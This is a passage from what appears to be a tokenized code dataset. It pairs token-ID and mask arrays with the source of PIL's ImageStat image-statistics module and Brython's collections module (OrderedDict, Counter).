14, 1000, 14, 1563, 23518, 3794, 267, 367, 314, 11150, 402, 314, 805, 2368, 14, 267, 408, 267, 6037, 63, 344, 275, 291, 14, 1000, 14, 1100, 14, 576, 459, 6520, 63, 344, 418, 267, 340, 291, 14, 1000, 14, 1562, 63, 6606, 508, 2838, 14, 5699, 63, 19584, 26, 288, 943, 14, 1757, 10994, 11442, 26, 450, 83, 61, 450, 83, 446, 446, 8978, 83, 61, 450, 83, 60, 78, 401, 1993, 6037, 63, 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, 1, 1, 1 ]
sauloal/cnidaria
scripts/venv/lib/python2.7/site-packages/PIL/ImageStat.py
26
3826
# # The Python Imaging Library. # $Id$ # # global image statistics # # History: # 1996-04-05 fl Created # 1997-05-21 fl Added mask; added rms, var, stddev attributes # 1997-08-05 fl Added median # 1998-07-05 hk Fixed integer overflow error # # Notes: # This class shows how to implement delayed evaluation of attributes. # To get a certain value, simply access the corresponding attribute. # The __getattr__ dispatcher takes care of the rest. # # Copyright (c) Secret Labs AB 1997. # Copyright (c) Fredrik Lundh 1996-97. # # See the README file for information on usage and redistribution. # import math import operator from functools import reduce class Stat: def __init__(self, image_or_list, mask=None): try: if mask: self.h = image_or_list.histogram(mask) else: self.h = image_or_list.histogram() except AttributeError: self.h = image_or_list # assume it to be a histogram list if not isinstance(self.h, list): raise TypeError("first argument must be image or list") self.bands = list(range(len(self.h) // 256)) def __getattr__(self, id): "Calculate missing attribute" if id[:4] == "_get": raise AttributeError(id) # calculate missing attribute v = getattr(self, "_get" + id)() setattr(self, id, v) return v def _getextrema(self): "Get min/max values for each band in the image" def minmax(histogram): n = 255 x = 0 for i in range(256): if histogram[i]: n = min(n, i) x = max(x, i) return n, x # returns (255, 0) if there's no data in the histogram v = [] for i in range(0, len(self.h), 256): v.append(minmax(self.h[i:])) return v def _getcount(self): "Get total number of pixels in each layer" v = [] for i in range(0, len(self.h), 256): v.append(reduce(operator.add, self.h[i:i+256])) return v def _getsum(self): "Get sum of all pixels in each layer" v = [] for i in range(0, len(self.h), 256): sum = 0.0 for j in range(256): sum += j * self.h[i + j] v.append(sum) return v def _getsum2(self): "Get squared sum of all pixels in each layer" v = [] for i in range(0, len(self.h), 256): sum2 = 0.0 for j in range(256): sum2 += (j ** 2) * float(self.h[i + j]) v.append(sum2) return v def _getmean(self): "Get average pixel level for each layer" v = [] for i in self.bands: v.append(self.sum[i] / self.count[i]) return v def _getmedian(self): "Get median pixel level for each layer" v = [] for i in self.bands: s = 0 l = self.count[i]//2 b = i * 256 for j in range(256): s = s + self.h[b+j] if s > l: break v.append(j) return v def _getrms(self): "Get RMS for each layer" v = [] for i in self.bands: v.append(math.sqrt(self.sum2[i] / self.count[i])) return v def _getvar(self): "Get variance for each layer" v = [] for i in self.bands: n = self.count[i] v.append((self.sum2[i]-(self.sum[i]**2.0)/n)/n) return v def _getstddev(self): "Get standard deviation for each layer" v = [] for i in self.bands: v.append(math.sqrt(self.var[i])) return v Global = Stat # compatibility
mit
[ 3, 199, 3, 710, 2018, 473, 391, 1540, 11243, 14, 199, 3, 2672, 1304, 4, 199, 3, 199, 3, 2288, 1834, 11076, 199, 3, 199, 3, 27829, 26, 199, 3, 31347, 13, 966, 13, 1717, 2717, 257, 18208, 199, 3, 9013, 23, 13, 1717, 13, 2025, 2717, 257, 16230, 3656, 27, 3483, 32205, 12, 2729, 12, 28052, 3004, 199, 3, 9013, 23, 13, 2036, 13, 1717, 2717, 257, 16230, 17312, 199, 3, 19960, 13, 1780, 13, 1717, 394, 75, 257, 18659, 3000, 15784, 1125, 199, 3, 199, 3, 8144, 26, 199, 3, 961, 1021, 13703, 4212, 370, 5669, 24725, 11735, 402, 3004, 14, 199, 3, 4005, 664, 282, 9842, 574, 12, 9329, 2879, 314, 5226, 2225, 14, 199, 3, 710, 636, 5675, 363, 17475, 6181, 10296, 402, 314, 4618, 14, 199, 3, 199, 3, 1898, 334, 67, 9, 23580, 491, 2101, 14840, 9013, 23, 14, 199, 3, 1898, 334, 67, 9, 481, 581, 25844, 491, 725, 72, 31347, 13, 2576, 14, 199, 3, 199, 3, 1666, 314, 27781, 570, 367, 2556, 641, 4503, 436, 295, 4972, 14, 199, 3, 199, 199, 646, 3473, 199, 646, 4182, 199, 504, 9143, 492, 7114, 421, 199, 533, 27673, 26, 339, 347, 636, 826, 721, 277, 12, 1834, 63, 269, 63, 513, 12, 3656, 29, 403, 304, 267, 862, 26, 288, 340, 3656, 26, 355, 291, 14, 72, 275, 1834, 63, 269, 63, 513, 14, 14805, 8, 2629, 9, 288, 587, 26, 355, 291, 14, 72, 275, 1834, 63, 269, 63, 513, 14, 14805, 342, 267, 871, 4281, 26, 288, 291, 14, 72, 275, 1834, 63, 269, 63, 513, 221, 327, 5534, 652, 370, 506, 282, 15379, 769, 267, 340, 440, 1228, 8, 277, 14, 72, 12, 769, 304, 288, 746, 3146, 480, 2246, 1423, 1471, 506, 1834, 503, 769, 531, 267, 291, 14, 23086, 275, 769, 8, 1842, 8, 552, 8, 277, 14, 72, 9, 5001, 7633, 430, 339, 347, 636, 5675, 721, 277, 12, 1305, 304, 267, 298, 14860, 4124, 2225, 2, 267, 340, 1305, 1491, 20, 61, 508, 2668, 362, 582, 288, 746, 4281, 8, 344, 9, 267, 327, 8671, 4124, 2225, 267, 373, 275, 2519, 8, 277, 12, 2668, 362, 2, 435, 1305, 16315, 267, 5371, 8, 277, 12, 1305, 12, 373, 9, 267, 372, 373, 339, 347, 485, 303, 505, 264, 391, 8, 277, 304, 267, 298, 1002, 1748, 15, 988, 1338, 367, 1924, 10981, 315, 314, 1834, 2, 398, 347, 1748, 988, 8, 14805, 304, 288, 302, 275, 5450, 288, 671, 275, 378, 288, 367, 284, 315, 1425, 8, 3912, 304, 355, 340, 15379, 59, 73, 2189, 490, 302, 275, 1748, 8, 78, 12, 284, 9, 490, 671, 275, 1390, 8, 88, 12, 284, 9, 288, 372, 302, 12, 671, 221, 327, 2529, 334, 2299, 12, 378, 9, 340, 2337, 1159, 949, 666, 315, 314, 15379, 398, 373, 275, 942, 267, 367, 284, 315, 1425, 8, 16, 12, 822, 8, 277, 14, 72, 395, 7633, 304, 288, 373, 14, 740, 8, 827, 988, 8, 277, 14, 72, 59, 73, 16720, 267, 372, 373, 339, 347, 485, 362, 835, 8, 277, 304, 267, 298, 1002, 3141, 1329, 402, 11094, 315, 1924, 4045, 2, 398, 373, 275, 942, 267, 367, 284, 315, 1425, 8, 16, 12, 822, 8, 277, 14, 72, 395, 7633, 304, 288, 373, 14, 740, 8, 5270, 8, 3856, 14, 525, 12, 291, 14, 72, 59, 73, 26, 73, 11, 3912, 2459, 267, 372, 373, 339, 347, 485, 362, 1838, 8, 277, 304, 267, 298, 1002, 3089, 402, 1006, 11094, 315, 1924, 4045, 2, 398, 373, 275, 942, 267, 367, 284, 315, 1425, 8, 16, 12, 822, 8, 277, 14, 72, 395, 7633, 304, 288, 3089, 275, 378, 14, 16, 288, 367, 1335, 315, 1425, 8, 3912, 304, 355, 3089, 847, 1335, 627, 291, 14, 72, 59, 73, 435, 1335, 61, 288, 373, 14, 740, 8, 1838, 9, 267, 372, 373, 339, 347, 485, 362, 1838, 18, 8, 277, 304, 267, 298, 1002, 20478, 3089, 402, 1006, 11094, 315, 1924, 4045, 2, 398, 373, 275, 942, 267, 367, 284, 315, 1425, 8, 16, 12, 822, 8, 277, 14, 72, 395, 7633, 304, 288, 3089, 18, 275, 378, 14, 16, 288, 367, 1335, 315, 1425, 8, 3912, 304, 355, 3089, 18, 847, 334, 74, 1011, 499, 9, 627, 2069, 8, 277, 14, 72, 59, 73, 435, 1335, 566, 288, 373, 14, 740, 8, 1838, 18, 9, 267, 372, 373, 339, 347, 485, 362, 3670, 8, 277, 304, 267, 298, 1002, 8095, 7148, 2166, 367, 1924, 4045, 2, 398, 373, 275, 942, 267, 367, 284, 315, 291, 14, 23086, 26, 288, 373, 14, 740, 8, 277, 14, 1838, 59, 73, 61, 1182, 291, 14, 835, 59, 73, 566, 267, 372, 373, 339, 347, 485, 362, 13106, 8, 277, 304, 267, 298, 1002, 17312, 7148, 2166, 367, 1924, 4045, 2, 398, 373, 275, 942, 267, 367, 284, 315, 291, 14, 23086, 26, 288, 308, 275, 378, 288, 634, 275, 291, 14, 835, 59, 73, 61, 501, 18, 288, 330, 275, 284, 627, 7633, 288, 367, 1335, 315, 1425, 8, 3912, 304, 355, 308, 275, 308, 435, 291, 14, 72, 59, 66, 11, 74, 61, 355, 340, 308, 690, 634, 26, 490, 2059, 288, 373, 14, 740, 8, 74, 9, 267, 372, 373, 339, 347, 485, 362, 24444, 8, 277, 304, 267, 298, 1002, 820, 3053, 367, 1924, 4045, 2, 398, 373, 275, 942, 267, 367, 284, 315, 291, 14, 23086, 26, 288, 373, 14, 740, 8, 3442, 14, 5079, 8, 277, 14, 1838, 18, 59, 73, 61, 1182, 291, 14, 835, 59, 73, 2459, 267, 372, 373, 339, 347, 485, 362, 1391, 8, 277, 304, 267, 298, 1002, 11773, 367, 1924, 4045, 2, 398, 373, 275, 942, 267, 367, 284, 315, 291, 14, 23086, 26, 288, 302, 275, 291, 14, 835, 59, 73, 61, 288, 373, 14, 740, 1332, 277, 14, 1838, 18, 59, 73, 11285, 8, 277, 14, 1838, 59, 73, 24186, 18, 14, 16, 2447, 78, 2447, 78, 9, 267, 372, 373, 339, 347, 485, 362, 21672, 8, 277, 304, 267, 298, 1002, 4465, 18458, 367, 1924, 4045, 2, 398, 373, 275, 942, 267, 367, 284, 315, 291, 14, 23086, 26, 288 ]
[ 199, 3, 710, 2018, 473, 391, 1540, 11243, 14, 199, 3, 2672, 1304, 4, 199, 3, 199, 3, 2288, 1834, 11076, 199, 3, 199, 3, 27829, 26, 199, 3, 31347, 13, 966, 13, 1717, 2717, 257, 18208, 199, 3, 9013, 23, 13, 1717, 13, 2025, 2717, 257, 16230, 3656, 27, 3483, 32205, 12, 2729, 12, 28052, 3004, 199, 3, 9013, 23, 13, 2036, 13, 1717, 2717, 257, 16230, 17312, 199, 3, 19960, 13, 1780, 13, 1717, 394, 75, 257, 18659, 3000, 15784, 1125, 199, 3, 199, 3, 8144, 26, 199, 3, 961, 1021, 13703, 4212, 370, 5669, 24725, 11735, 402, 3004, 14, 199, 3, 4005, 664, 282, 9842, 574, 12, 9329, 2879, 314, 5226, 2225, 14, 199, 3, 710, 636, 5675, 363, 17475, 6181, 10296, 402, 314, 4618, 14, 199, 3, 199, 3, 1898, 334, 67, 9, 23580, 491, 2101, 14840, 9013, 23, 14, 199, 3, 1898, 334, 67, 9, 481, 581, 25844, 491, 725, 72, 31347, 13, 2576, 14, 199, 3, 199, 3, 1666, 314, 27781, 570, 367, 2556, 641, 4503, 436, 295, 4972, 14, 199, 3, 199, 199, 646, 3473, 199, 646, 4182, 199, 504, 9143, 492, 7114, 421, 199, 533, 27673, 26, 339, 347, 636, 826, 721, 277, 12, 1834, 63, 269, 63, 513, 12, 3656, 29, 403, 304, 267, 862, 26, 288, 340, 3656, 26, 355, 291, 14, 72, 275, 1834, 63, 269, 63, 513, 14, 14805, 8, 2629, 9, 288, 587, 26, 355, 291, 14, 72, 275, 1834, 63, 269, 63, 513, 14, 14805, 342, 267, 871, 4281, 26, 288, 291, 14, 72, 275, 1834, 63, 269, 63, 513, 221, 327, 5534, 652, 370, 506, 282, 15379, 769, 267, 340, 440, 1228, 8, 277, 14, 72, 12, 769, 304, 288, 746, 3146, 480, 2246, 1423, 1471, 506, 1834, 503, 769, 531, 267, 291, 14, 23086, 275, 769, 8, 1842, 8, 552, 8, 277, 14, 72, 9, 5001, 7633, 430, 339, 347, 636, 5675, 721, 277, 12, 1305, 304, 267, 298, 14860, 4124, 2225, 2, 267, 340, 1305, 1491, 20, 61, 508, 2668, 362, 582, 288, 746, 4281, 8, 344, 9, 267, 327, 8671, 4124, 2225, 267, 373, 275, 2519, 8, 277, 12, 2668, 362, 2, 435, 1305, 16315, 267, 5371, 8, 277, 12, 1305, 12, 373, 9, 267, 372, 373, 339, 347, 485, 303, 505, 264, 391, 8, 277, 304, 267, 298, 1002, 1748, 15, 988, 1338, 367, 1924, 10981, 315, 314, 1834, 2, 398, 347, 1748, 988, 8, 14805, 304, 288, 302, 275, 5450, 288, 671, 275, 378, 288, 367, 284, 315, 1425, 8, 3912, 304, 355, 340, 15379, 59, 73, 2189, 490, 302, 275, 1748, 8, 78, 12, 284, 9, 490, 671, 275, 1390, 8, 88, 12, 284, 9, 288, 372, 302, 12, 671, 221, 327, 2529, 334, 2299, 12, 378, 9, 340, 2337, 1159, 949, 666, 315, 314, 15379, 398, 373, 275, 942, 267, 367, 284, 315, 1425, 8, 16, 12, 822, 8, 277, 14, 72, 395, 7633, 304, 288, 373, 14, 740, 8, 827, 988, 8, 277, 14, 72, 59, 73, 16720, 267, 372, 373, 339, 347, 485, 362, 835, 8, 277, 304, 267, 298, 1002, 3141, 1329, 402, 11094, 315, 1924, 4045, 2, 398, 373, 275, 942, 267, 367, 284, 315, 1425, 8, 16, 12, 822, 8, 277, 14, 72, 395, 7633, 304, 288, 373, 14, 740, 8, 5270, 8, 3856, 14, 525, 12, 291, 14, 72, 59, 73, 26, 73, 11, 3912, 2459, 267, 372, 373, 339, 347, 485, 362, 1838, 8, 277, 304, 267, 298, 1002, 3089, 402, 1006, 11094, 315, 1924, 4045, 2, 398, 373, 275, 942, 267, 367, 284, 315, 1425, 8, 16, 12, 822, 8, 277, 14, 72, 395, 7633, 304, 288, 3089, 275, 378, 14, 16, 288, 367, 1335, 315, 1425, 8, 3912, 304, 355, 3089, 847, 1335, 627, 291, 14, 72, 59, 73, 435, 1335, 61, 288, 373, 14, 740, 8, 1838, 9, 267, 372, 373, 339, 347, 485, 362, 1838, 18, 8, 277, 304, 267, 298, 1002, 20478, 3089, 402, 1006, 11094, 315, 1924, 4045, 2, 398, 373, 275, 942, 267, 367, 284, 315, 1425, 8, 16, 12, 822, 8, 277, 14, 72, 395, 7633, 304, 288, 3089, 18, 275, 378, 14, 16, 288, 367, 1335, 315, 1425, 8, 3912, 304, 355, 3089, 18, 847, 334, 74, 1011, 499, 9, 627, 2069, 8, 277, 14, 72, 59, 73, 435, 1335, 566, 288, 373, 14, 740, 8, 1838, 18, 9, 267, 372, 373, 339, 347, 485, 362, 3670, 8, 277, 304, 267, 298, 1002, 8095, 7148, 2166, 367, 1924, 4045, 2, 398, 373, 275, 942, 267, 367, 284, 315, 291, 14, 23086, 26, 288, 373, 14, 740, 8, 277, 14, 1838, 59, 73, 61, 1182, 291, 14, 835, 59, 73, 566, 267, 372, 373, 339, 347, 485, 362, 13106, 8, 277, 304, 267, 298, 1002, 17312, 7148, 2166, 367, 1924, 4045, 2, 398, 373, 275, 942, 267, 367, 284, 315, 291, 14, 23086, 26, 288, 308, 275, 378, 288, 634, 275, 291, 14, 835, 59, 73, 61, 501, 18, 288, 330, 275, 284, 627, 7633, 288, 367, 1335, 315, 1425, 8, 3912, 304, 355, 308, 275, 308, 435, 291, 14, 72, 59, 66, 11, 74, 61, 355, 340, 308, 690, 634, 26, 490, 2059, 288, 373, 14, 740, 8, 74, 9, 267, 372, 373, 339, 347, 485, 362, 24444, 8, 277, 304, 267, 298, 1002, 820, 3053, 367, 1924, 4045, 2, 398, 373, 275, 942, 267, 367, 284, 315, 291, 14, 23086, 26, 288, 373, 14, 740, 8, 3442, 14, 5079, 8, 277, 14, 1838, 18, 59, 73, 61, 1182, 291, 14, 835, 59, 73, 2459, 267, 372, 373, 339, 347, 485, 362, 1391, 8, 277, 304, 267, 298, 1002, 11773, 367, 1924, 4045, 2, 398, 373, 275, 942, 267, 367, 284, 315, 291, 14, 23086, 26, 288, 302, 275, 291, 14, 835, 59, 73, 61, 288, 373, 14, 740, 1332, 277, 14, 1838, 18, 59, 73, 11285, 8, 277, 14, 1838, 59, 73, 24186, 18, 14, 16, 2447, 78, 2447, 78, 9, 267, 372, 373, 339, 347, 485, 362, 21672, 8, 277, 304, 267, 298, 1002, 4465, 18458, 367, 1924, 4045, 2, 398, 373, 275, 942, 267, 367, 284, 315, 291, 14, 23086, 26, 288, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
amrdraz/brython
www/src/Lib/collections/__init__.py
12
34896
#__all__ = ['deque', 'defaultdict', 'Counter'] from _collections import deque, defaultdict #from itertools import repeat as _repeat, chain as _chain, starmap as _starmap __all__ = ['deque', 'defaultdict', 'namedtuple', 'UserDict', 'UserList', 'UserString', 'Counter', 'OrderedDict'] # For bootstrapping reasons, the collection ABCs are defined in _abcoll.py. # They should however be considered an integral part of collections.py. # fixme brython.. there is an issue with _abcoll #from _abcoll import * #from _abcoll import Set from _abcoll import MutableMapping #import _abcoll #__all__ += _abcoll.__all__ from collections.abc import * import collections.abc __all__ += collections.abc.__all__ from _collections import deque, defaultdict, namedtuple from operator import itemgetter as _itemgetter from keyword import iskeyword as _iskeyword import sys as _sys import heapq as _heapq #fixme brython #from weakref import proxy as _proxy from itertools import repeat as _repeat, chain as _chain, starmap as _starmap from reprlib import recursive_repr as _recursive_repr class Set(set): pass class Sequence(list): pass def _proxy(obj): return obj ################################################################################ ### OrderedDict ################################################################################ class _Link(object): __slots__ = 'prev', 'next', 'key', '__weakref__' class OrderedDict(dict): 'Dictionary that remembers insertion order' # An inherited dict maps keys to values. # The inherited dict provides __getitem__, __len__, __contains__, and get. # The remaining methods are order-aware. # Big-O running times for all methods are the same as regular dictionaries. # The internal self.__map dict maps keys to links in a doubly linked list. # The circular doubly linked list starts and ends with a sentinel element. # The sentinel element never gets deleted (this simplifies the algorithm). # The sentinel is in self.__hardroot with a weakref proxy in self.__root. # The prev links are weakref proxies (to prevent circular references). # Individual links are kept alive by the hard reference in self.__map. # Those hard references disappear when a key is deleted from an OrderedDict. def __init__(self, *args, **kwds): '''Initialize an ordered dictionary. The signature is the same as regular dictionaries, but keyword arguments are not recommended because their insertion order is arbitrary. ''' if len(args) > 1: raise TypeError('expected at most 1 arguments, got %d' % len(args)) try: self.__root except AttributeError: self.__hardroot = _Link() self.__root = root = _proxy(self.__hardroot) root.prev = root.next = root self.__map = {} self.__update(*args, **kwds) def __setitem__(self, key, value, dict_setitem=dict.__setitem__, proxy=_proxy, Link=_Link): 'od.__setitem__(i, y) <==> od[i]=y' # Setting a new item creates a new link at the end of the linked list, # and the inherited dictionary is updated with the new key/value pair. if key not in self: self.__map[key] = link = Link() root = self.__root last = root.prev link.prev, link.next, link.key = last, root, key last.next = link root.prev = proxy(link) dict_setitem(self, key, value) def __delitem__(self, key, dict_delitem=dict.__delitem__): 'od.__delitem__(y) <==> del od[y]' # Deleting an existing item uses self.__map to find the link which gets # removed by updating the links in the predecessor and successor nodes. dict_delitem(self, key) link = self.__map.pop(key) link_prev = link.prev link_next = link.next link_prev.next = link_next link_next.prev = link_prev def __iter__(self): 'od.__iter__() <==> iter(od)' # Traverse the linked list in order. root = self.__root curr = root.next while curr is not root: yield curr.key curr = curr.next def __reversed__(self): 'od.__reversed__() <==> reversed(od)' # Traverse the linked list in reverse order. root = self.__root curr = root.prev while curr is not root: yield curr.key curr = curr.prev def clear(self): 'od.clear() -> None. Remove all items from od.' root = self.__root root.prev = root.next = root self.__map.clear() dict.clear(self) def popitem(self, last=True): '''od.popitem() -> (k, v), return and remove a (key, value) pair. Pairs are returned in LIFO order if last is true or FIFO order if false. ''' if not self: raise KeyError('dictionary is empty') root = self.__root if last: link = root.prev link_prev = link.prev link_prev.next = root root.prev = link_prev else: link = root.next link_next = link.next root.next = link_next link_next.prev = root key = link.key del self.__map[key] value = dict.pop(self, key) return key, value def move_to_end(self, key, last=True): '''Move an existing element to the end (or beginning if last==False). Raises KeyError if the element does not exist. When last=True, acts like a fast version of self[key]=self.pop(key). ''' link = self.__map[key] link_prev = link.prev link_next = link.next link_prev.next = link_next link_next.prev = link_prev root = self.__root if last: last = root.prev link.prev = last link.next = root last.next = root.prev = link else: first = root.next link.prev = root link.next = first root.next = first.prev = link def __sizeof__(self): sizeof = _sys.getsizeof n = len(self) + 1 # number of links including root size = sizeof(self.__dict__) # instance dictionary size += sizeof(self.__map) * 2 # internal dict and inherited dict size += sizeof(self.__hardroot) * n # link objects size += sizeof(self.__root) * n # proxy objects return size #fixme brython.. Issue with _abcoll, which contains MutableMapping update = __update = MutableMapping.update keys = MutableMapping.keys values = MutableMapping.values items = MutableMapping.items __ne__ = MutableMapping.__ne__ __marker = object() def pop(self, key, default=__marker): '''od.pop(k[,d]) -> v, remove specified key and return the corresponding value. If key is not found, d is returned if given, otherwise KeyError is raised. ''' if key in self: result = self[key] del self[key] return result if default is self.__marker: raise KeyError(key) return default def setdefault(self, key, default=None): 'od.setdefault(k[,d]) -> od.get(k,d), also set od[k]=d if k not in od' if key in self: return self[key] self[key] = default return default #fixme, brython issue #@_recursive_repr() def __repr__(self): 'od.__repr__() <==> repr(od)' if not self: return '%s()' % (self.__class__.__name__,) return '%s(%r)' % (self.__class__.__name__, list(self.items())) def __reduce__(self): 'Return state information for pickling' items = [[k, self[k]] for k in self] inst_dict = vars(self).copy() for k in vars(OrderedDict()): inst_dict.pop(k, None) if inst_dict: return (self.__class__, (items,), inst_dict) return self.__class__, (items,) def copy(self): 'od.copy() -> a shallow copy of od' return self.__class__(self) @classmethod def fromkeys(cls, iterable, value=None): '''OD.fromkeys(S[, v]) -> New ordered dictionary with keys from S. If not specified, the value defaults to None. ''' self = cls() for key in iterable: self[key] = value return self def __eq__(self, other): '''od.__eq__(y) <==> od==y. Comparison to another OD is order-sensitive while comparison to a regular mapping is order-insensitive. ''' if isinstance(other, OrderedDict): return len(self)==len(other) and \ all(p==q for p, q in zip(self.items(), other.items())) return dict.__eq__(self, other) ######################################################################## ### Counter ######################################################################## def _count_elements(mapping, iterable): 'Tally elements from the iterable.' mapping_get = mapping.get for elem in iterable: mapping[elem] = mapping_get(elem, 0) + 1 #try: # Load C helper function if available # from _collections import _count_elements #except ImportError: # pass class Counter(dict): '''Dict subclass for counting hashable items. Sometimes called a bag or multiset. Elements are stored as dictionary keys and their counts are stored as dictionary values. >>> c = Counter('abcdeabcdabcaba') # count elements from a string >>> c.most_common(3) # three most common elements [('a', 5), ('b', 4), ('c', 3)] >>> sorted(c) # list all unique elements ['a', 'b', 'c', 'd', 'e'] >>> ''.join(sorted(c.elements())) # list elements with repetitions 'aaaaabbbbcccdde' >>> sum(c.values()) # total of all counts 15 >>> c['a'] # count of letter 'a' 5 >>> for elem in 'shazam': # update counts from an iterable ... c[elem] += 1 # by adding 1 to each element's count >>> c['a'] # now there are seven 'a' 7 >>> del c['b'] # remove all 'b' >>> c['b'] # now there are zero 'b' 0 >>> d = Counter('simsalabim') # make another counter >>> c.update(d) # add in the second counter >>> c['a'] # now there are nine 'a' 9 >>> c.clear() # empty the counter >>> c Counter() Note: If a count is set to zero or reduced to zero, it will remain in the counter until the entry is deleted or the counter is cleared: >>> c = Counter('aaabbc') >>> c['b'] -= 2 # reduce the count of 'b' by two >>> c.most_common() # 'b' is still in, but its count is zero [('a', 3), ('c', 1), ('b', 0)] ''' # References: # http://en.wikipedia.org/wiki/Multiset # http://www.gnu.org/software/smalltalk/manual-base/html_node/Bag.html # http://www.demo2s.com/Tutorial/Cpp/0380__set-multiset/Catalog0380__set-multiset.htm # http://code.activestate.com/recipes/259174/ # Knuth, TAOCP Vol. II section 4.6.3 def __init__(self, iterable=None, **kwds): '''Create a new, empty Counter object. And if given, count elements from an input iterable. Or, initialize the count from another mapping of elements to their counts. >>> c = Counter() # a new, empty counter >>> c = Counter('gallahad') # a new counter from an iterable >>> c = Counter({'a': 4, 'b': 2}) # a new counter from a mapping >>> c = Counter(a=4, b=2) # a new counter from keyword args ''' #super().__init__() #BE modified since super not supported dict.__init__(self) self.update(iterable, **kwds) def __missing__(self, key): 'The count of elements not in the Counter is zero.' # Needed so that self[missing_item] does not raise KeyError return 0 def most_common(self, n=None): '''List the n most common elements and their counts from the most common to the least. If n is None, then list all element counts. >>> Counter('abcdeabcdabcaba').most_common(3) [('a', 5), ('b', 4), ('c', 3)] ''' # Emulate Bag.sortedByCount from Smalltalk if n is None: return sorted(self.items(), key=_itemgetter(1), reverse=True) return _heapq.nlargest(n, self.items(), key=_itemgetter(1)) def elements(self): '''Iterator over elements repeating each as many times as its count. >>> c = Counter('ABCABC') >>> sorted(c.elements()) ['A', 'A', 'B', 'B', 'C', 'C'] # Knuth's example for prime factors of 1836: 2**2 * 3**3 * 17**1 >>> prime_factors = Counter({2: 2, 3: 3, 17: 1}) >>> product = 1 >>> for factor in prime_factors.elements(): # loop over factors ... product *= factor # and multiply them >>> product 1836 Note, if an element's count has been set to zero or is a negative number, elements() will ignore it. ''' # Emulate Bag.do from Smalltalk and Multiset.begin from C++. return _chain.from_iterable(_starmap(_repeat, self.items())) # Override dict methods where necessary @classmethod def fromkeys(cls, iterable, v=None): # There is no equivalent method for counters because setting v=1 # means that no element can have a count greater than one. raise NotImplementedError( 'Counter.fromkeys() is undefined. Use Counter(iterable) instead.') def update(self, iterable=None, **kwds): '''Like dict.update() but add counts instead of replacing them. Source can be an iterable, a dictionary, or another Counter instance. >>> c = Counter('which') >>> c.update('witch') # add elements from another iterable >>> d = Counter('watch') >>> c.update(d) # add elements from another counter >>> c['h'] # four 'h' in which, witch, and watch 4 ''' # The regular dict.update() operation makes no sense here because the # replace behavior results in the some of original untouched counts # being mixed-in with all of the other counts for a mismash that # doesn't have a straight-forward interpretation in most counting # contexts. Instead, we implement straight-addition. Both the inputs # and outputs are allowed to contain zero and negative counts. if iterable is not None: if isinstance(iterable, Mapping): if self: self_get = self.get for elem, count in iterable.items(): self[elem] = count + self_get(elem, 0) else: super().update(iterable) # fast path when counter is empty else: _count_elements(self, iterable) if kwds: self.update(kwds) def subtract(self, iterable=None, **kwds): '''Like dict.update() but subtracts counts instead of replacing them. Counts can be reduced below zero. Both the inputs and outputs are allowed to contain zero and negative counts. Source can be an iterable, a dictionary, or another Counter instance. >>> c = Counter('which') >>> c.subtract('witch') # subtract elements from another iterable >>> c.subtract(Counter('watch')) # subtract elements from another counter >>> c['h'] # 2 in which, minus 1 in witch, minus 1 in watch 0 >>> c['w'] # 1 in which, minus 1 in witch, minus 1 in watch -1 ''' if iterable is not None: self_get = self.get if isinstance(iterable, Mapping): for elem, count in iterable.items(): self[elem] = self_get(elem, 0) - count else: for elem in iterable: self[elem] = self_get(elem, 0) - 1 if kwds: self.subtract(kwds) def copy(self): 'Return a shallow copy.' return self.__class__(self) def __reduce__(self): return self.__class__, (dict(self),) def __delitem__(self, elem): 'Like dict.__delitem__() but does not raise KeyError for missing values.' if elem in self: super().__delitem__(elem) def __repr__(self): if not self: return '%s()' % self.__class__.__name__ try: items = ', '.join(map('%r: %r'.__mod__, self.most_common())) return '%s({%s})' % (self.__class__.__name__, items) except TypeError: # handle case where values are not orderable return '{0}({1!r})'.format(self.__class__.__name__, dict(self)) # Multiset-style mathematical operations discussed in: # Knuth TAOCP Volume II section 4.6.3 exercise 19 # and at http://en.wikipedia.org/wiki/Multiset # # Outputs guaranteed to only include positive counts. # # To strip negative and zero counts, add-in an empty counter: # c += Counter() def __add__(self, other): '''Add counts from two counters. >>> Counter('abbb') + Counter('bcc') Counter({'b': 4, 'c': 2, 'a': 1}) ''' if not isinstance(other, Counter): return NotImplemented result = Counter() for elem, count in self.items(): newcount = count + other[elem] if newcount > 0: result[elem] = newcount for elem, count in other.items(): if elem not in self and count > 0: result[elem] = count return result def __sub__(self, other): ''' Subtract count, but keep only results with positive counts. >>> Counter('abbbc') - Counter('bccd') Counter({'b': 2, 'a': 1}) ''' if not isinstance(other, Counter): return NotImplemented result = Counter() for elem, count in self.items(): newcount = count - other[elem] if newcount > 0: result[elem] = newcount for 